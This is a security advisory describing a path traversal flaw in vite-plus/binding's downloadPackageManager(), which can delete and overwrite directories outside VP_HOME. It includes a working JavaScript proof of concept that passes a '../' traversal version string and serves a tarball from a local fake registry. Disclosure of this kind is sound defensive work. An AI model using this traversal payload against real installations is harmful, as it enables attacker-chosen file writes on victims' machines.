Path traversal in vite-plus/binding downloadPackageManager() writes outside VP_HOME

Summary

downloadPackageManager() in vite-plus/binding accepts an untrusted version string and uses it directly in filesystem paths. A caller can supply ../ segments to escape the VP_HOME/package_manager/<pm>/ cache root and cause Vite+ to delete, replace, and populate directories outside the intended cache location.

Details

The public vite-plus/binding export downloadPackageManager() forwards options.version directly into the Rust package-manager download flow without validating that it is a normal semver version.

That value is used as a path component when building the install location under VP_HOME. After the package is downloaded and extracted, Vite+:

1. computes the final target directory from the raw version string,
2. removes any pre-existing directory at that target,
3. renames the extracted package into that location, and
4. writes executable shim files there.

Because the CLI validates versions via semver::Version::parse() before calling this code, the protection that exists for normal vp create, vp migrate, and vp env flows does not apply to direct callers of the binding. A programmatic caller of vite-plus/binding can pass traversal strings such as ../../../escaped and break out of VP_HOME.

PoC

import fs from "node:fs";
import http from "node:http";
import os from "node:os";
import path from "node:path";
import { downloadPackageManager } from "vite-plus/binding";

const tgz = Buffer.from(
  "H4sIAH/B1GkC/+3NsQqDMBjE8W/uU4hTXUwU0/dJg0irTYLR9zftUnCWQvH/W+645aJ1ox16dX94FX181e6Z5GA6u3XdJ7N9at223/7em8YYI4WWH1jTYud8L+fkgk9h6uspDNcyjGV1EQAAAAAAAAAAAAAAAADAH9gAb+vJ9QAoAAA=",
  "base64",
);

const vpHome = fs.mkdtempSync(path.join(os.tmpdir(), "vp-home-"));
const version = "../../../vite-plus-escape";
const escapedRoot = path.resolve(vpHome, "package_manager", "pnpm", version);
const escapedInstallDir = path.join(escapedRoot, "pnpm");

process.env.VP_HOME = vpHome;

const server = http.createServer((req, res) => {
  res.writeHead(200, { "content-type": "application/octet-stream" });
  res.end(tgz);
});

await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
const { port } = server.address();
process.env.npm_config_registry = `http://127.0.0.1:${port}`;

const result = await downloadPackageManager({
  name: "pnpm",
  version,
});

server.close();

console.log("VP_HOME =", vpHome);
console.log("installDir =", result.installDir);
console.log("escaped =", escapedInstallDir);
console.log("shim exists =", fs.existsSync(path.join(escapedInstallDir, "bin", "pnpm")));

// installDir is outside VP_HOME, and <escaped>/pnpm/bin/pnpm is created

Impact

A caller that can influence downloadPackageManager() input can escape the Vite+ cache directory and make the process overwrite attacker-chosen directories outside VP_HOME. When combined with the supported custom-registry override (npm_config_registry), this becomes attacker-controlled file write outside the intended install root.

Mitigating factors

• Normal CLI usage is not affected. All built-in CLI paths (vp create, vp migrate, vp env) validate the version string via semver::Version::parse() before it reaches downloadPackageManager().
• The vulnerability is only reachable by programmatic callers that import vite-plus/binding directly and pass an untrusted version string.
• No known downstream consumers pass untrusted input to this function.
• Exploitation requires the attacker to already be executing code in the same Node.js process.